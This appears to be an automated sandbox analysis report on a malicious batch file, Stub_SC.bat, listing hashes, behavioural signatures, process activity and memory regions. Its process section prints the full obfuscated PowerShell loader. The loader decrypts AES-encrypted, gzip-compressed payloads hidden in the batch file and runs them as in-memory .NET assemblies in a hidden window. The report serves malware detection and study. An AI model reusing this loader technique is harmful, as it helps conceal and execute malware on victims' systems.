Analysis
-
max time kernel
151s -
max time network
133s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
12-10-2023 01:16
Static task
static1
Behavioral task
behavioral1
Sample
Stub_SC.bat
Resource
win7-20230831-en
General
-
Target
Stub_SC.bat
-
Size
2.6MB
-
MD5
12d05ccce56b71317838c1f70c434fdd
-
SHA1
db2b6548661dc0ad3c19439989e1c36bf62a9ca7
-
SHA256
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
-
SHA512
79c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
-
SSDEEP
24576:MFz0PTLOQXlNvJ9ZosU5cqcczDvwcbpSWwHt6H5P+gRnBrqYxvcpXKX6saNpWJcU:bNWTfSWwU8i8esRx7rXDdOuGC+ewAtg
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
Stub_SC.bat.exepid process 3004 Stub_SC.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
Stub_SC.bat.exepid process 3004 Stub_SC.bat.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Stub_SC.bat.exepid process 3004 Stub_SC.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Stub_SC.bat.exedescription pid process Token: SeDebugPrivilege 3004 Stub_SC.bat.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2168 wrote to memory of 2076 2168 cmd.exe cmd.exe PID 2168 wrote to memory of 2076 2168 cmd.exe cmd.exe PID 2168 wrote to memory of 2076 2168 cmd.exe cmd.exe PID 2076 wrote to memory of 3004 2076 cmd.exe Stub_SC.bat.exe PID 2076 wrote to memory of 3004 2076 cmd.exe Stub_SC.bat.exe PID 2076 wrote to memory of 3004 2076 cmd.exe Stub_SC.bat.exe PID 2076 wrote to memory of 3004 2076 cmd.exe Stub_SC.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe"C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3004
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exeFilesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
-
memory/3004-5-0x0000000073F30000-0x00000000744DB000-memory.dmpFilesize
5.7MB
-
memory/3004-6-0x0000000073F30000-0x00000000744DB000-memory.dmpFilesize
5.7MB
-
memory/3004-7-0x00000000024A0000-0x00000000024E0000-memory.dmpFilesize
256KB
-
memory/3004-8-0x0000000073F30000-0x00000000744DB000-memory.dmpFilesize
5.7MB
-
memory/3004-9-0x0000000073F30000-0x00000000744DB000-memory.dmpFilesize
5.7MB
-
memory/3004-10-0x00000000024A0000-0x00000000024E0000-memory.dmpFilesize
256KB
-
memory/3004-11-0x00000000024A0000-0x00000000024E0000-memory.dmpFilesize
256KB